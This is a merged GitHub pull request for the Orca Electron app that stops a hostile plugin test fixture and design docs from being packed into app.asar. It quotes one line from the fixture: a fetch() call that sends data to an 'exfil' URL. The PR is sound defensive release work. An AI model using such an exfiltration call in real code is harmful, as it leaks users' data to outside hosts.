Skip to content

fix(release): stop packaging plugin authoring examples into app.asar - #11087

Merged
brennanb2025 merged 2 commits into
mainfrom
brennanb2025/fix-asar-ships-example-plugins
Jul 28, 2026
Merged

brennanb2025 merged 2 commits into
mainfrom
brennanb2025/fix-asar-ships-example-plugins

Conversation

@brennanb2025

Copy link
Copy Markdown
Contributor

What

config/electron-builder.config.cjs's files array is an all-negation list, so electron-builder's default **/* applies and anything without an explicit ! entry gets packed. examples/ arrived with the plugin system (#8549) and never got one.

Result: v1.4.160-rc.3 ships the adversarial plugin fixture to every user.

Proof (against the installed rc.3 artifact, not just the config)

Parsing the shipped app.asar header from /Applications/Orca.app at 1.4.160-rc.3:

examples/plugins/hello-orca/main.mjs          1059
examples/plugins/hello-orca/orca-plugin.json   766
examples/plugins/hello-orca/panel.html        4306
examples/plugins/hostile-panel/orca-plugin.json 529
examples/plugins/hostile-panel/panel.html     7400

hostile-panel is the deliberately hostile fixture the panel containment tests point at — its panel.html carries a fetch('https://example.com/exfil?d=' + …) probe and its own manifest says "Deliberately hostile panel … Never grant it anything." It has no business inside a user's install.

examples/ did not exist at v1.4.159 (0 files), so this is new in the v1.4.159..v1.4.160-rc.3 span.

The same asar listing showed the two orchestration design docs added at the repo root in this span (ORCHESTRATION_IMPLEMENTATION_CHECKLIST.md, ORCHESTRATION_STRUCTURED_OUTPUT_DESIGN.md) shipping too; they fold into the existing root-doc negation.

Why this is safe

No runtime consumer. Bundled plugins ship via extraResources from resources/plugins/launch/, which the config already excludes from the asar for precisely this reason. git grep finds no runtime reference to the examples/ tree.

Tests

Updated the existing excludes repo-only source trees from app.asar case and added keeps plugin authoring examples out of app.asar, asserted via the repo paths that must never ship so adding a new example cannot silently re-break it.

Mutation-checked — removing '!examples{,/**/*}' from the config fails both cases:

× excludes repo-only source trees from app.asar
× keeps plugin authoring examples out of app.asar
  AssertionError: expected [ Array(17) ] to include 'examples'
Tests  2 failed | 24 passed (26)

With the fix in place: 26 passed (26).

Not addressed (pre-existing, deliberately out of scope)

The same asar listing shows tools/, build-plugins/, vite.web.config.ts, components.json, .oxlintrc.json, and .oxfmtrc.json also packed. Those predate this span and are bloat rather than a shipped-hostile-fixture problem, so they belong in a separate change.

Found by a release-readiness scan of v1.4.159..v1.4.160-rc.3.

electron-builder's `files` is an all-negation list, so its default `**/*`
packs anything without an explicit `!` entry. examples/ arrived with the
plugin system in #8549 and never got one, so 1.4.160-rc.3 shipped
examples/plugins/hostile-panel/panel.html — the adversarial fixture the
panel containment tests point at, complete with its fetch-exfiltration
probe — plus hello-orca, inside every user's app.asar. Verified against the
installed 1.4.160-rc.3 artifact, not just the config.

The two orchestration design docs landed at the repo root in the same span
and shipped the same way; fold them into the existing root-doc negation.

Neither has a runtime consumer: bundled plugins ship via extraResources
from resources/plugins/launch/, which is already excluded from the asar
for exactly this reason.
@coderabbitai

coderabbitai Bot commented Jul 28, 2026 •

Copy link
Copy Markdown
Contributor

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: Repository UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 6998ce24-5b71-4d2e-b368-c5d3ac29e8b8

📥 Commits

Reviewing files that changed from the base of the PR and between 2bd3672 and 01c3192.

📒 Files selected for processing (1)
  • config/scripts/electron-builder-config.test.mjs
🚧 Files skipped from review as they are similar to previous changes (1)
  • config/scripts/electron-builder-config.test.mjs

📝 Walkthrough

Walkthrough

Updated Electron Builder packaging exclusions to omit the examples tree and additional orchestration and design documentation while retaining existing exclusions. Extended configuration tests for the new negation patterns and added a regression test confirming plugin authoring examples under examples/plugins remain excluded from app.asar.

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Description check ⚠️ Warning The description is useful but misses several required template sections, including Screenshots, AI Review Report, Security Audit, and Notes. Add the missing template sections and include the required cross-platform review, security audit, screenshots/No visual change, and a testing checklist.
✅ Passed checks (4 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly describes the main packaging change to exclude plugin authoring examples from app.asar.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

…tcher

The added case mapped each negation to a bare top-level token, so it passed
under '!examples/README.md' — a pattern that still ships the whole tree. Drive
app-builder-lib's FileMatcher instead so the assertion matches the test name,
and pin the root anchoring so the negation cannot grow into '!**/examples'.
@brennanb2025
brennanb2025 merged commit 3c0cd60 into main Jul 28, 2026
28 checks passed
zpyoung pushed a commit to zpyoung/orca that referenced this pull request Jul 29, 2026
…tablyai#11087)

* fix(release): stop packaging plugin authoring examples into app.asar

electron-builder's `files` is an all-negation list, so its default `**/*`
packs anything without an explicit `!` entry. examples/ arrived with the
plugin system in stablyai#8549 and never got one, so 1.4.160-rc.3 shipped
examples/plugins/hostile-panel/panel.html — the adversarial fixture the
panel containment tests point at, complete with its fetch-exfiltration
probe — plus hello-orca, inside every user's app.asar. Verified against the
installed 1.4.160-rc.3 artifact, not just the config.

The two orchestration design docs landed at the repo root in the same span
and shipped the same way; fold them into the existing root-doc negation.

Neither has a runtime consumer: bundled plugins ship via extraResources
from resources/plugins/launch/, which is already excluded from the asar
for exactly this reason.

* test(release): assert the examples exclusion through the real file matcher

The added case mapped each negation to a bare top-level token, so it passed
under '!examples/README.md' — a pattern that still ships the whole tree. Drive
app-builder-lib's FileMatcher instead so the assertion matches the test name,
and pin the root anchoring so the negation cannot grow into '!**/examples'.
enrick-dev pushed a commit to enrick-dev/orca that referenced this pull request Oct 15, 2026
…tablyai#11087)

* fix(release): stop packaging plugin authoring examples into app.asar

electron-builder's `files` is an all-negation list, so its default `**/*`
packs anything without an explicit `!` entry. examples/ arrived with the
plugin system in stablyai#8549 and never got one, so 1.4.160-rc.3 shipped
examples/plugins/hostile-panel/panel.html — the adversarial fixture the
panel containment tests point at, complete with its fetch-exfiltration
probe — plus hello-orca, inside every user's app.asar. Verified against the
installed 1.4.160-rc.3 artifact, not just the config.

The two orchestration design docs landed at the repo root in the same span
and shipped the same way; fold them into the existing root-doc negation.

Neither has a runtime consumer: bundled plugins ship via extraResources
from resources/plugins/launch/, which is already excluded from the asar
for exactly this reason.

* test(release): assert the examples exclusion through the real file matcher

The added case mapped each negation to a bare top-level token, so it passed
under '!examples/README.md' — a pattern that still ships the whole tree. Drive
app-builder-lib's FileMatcher instead so the assertion matches the test name,
and pin the root anchoring so the negation cannot grow into '!**/examples'.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant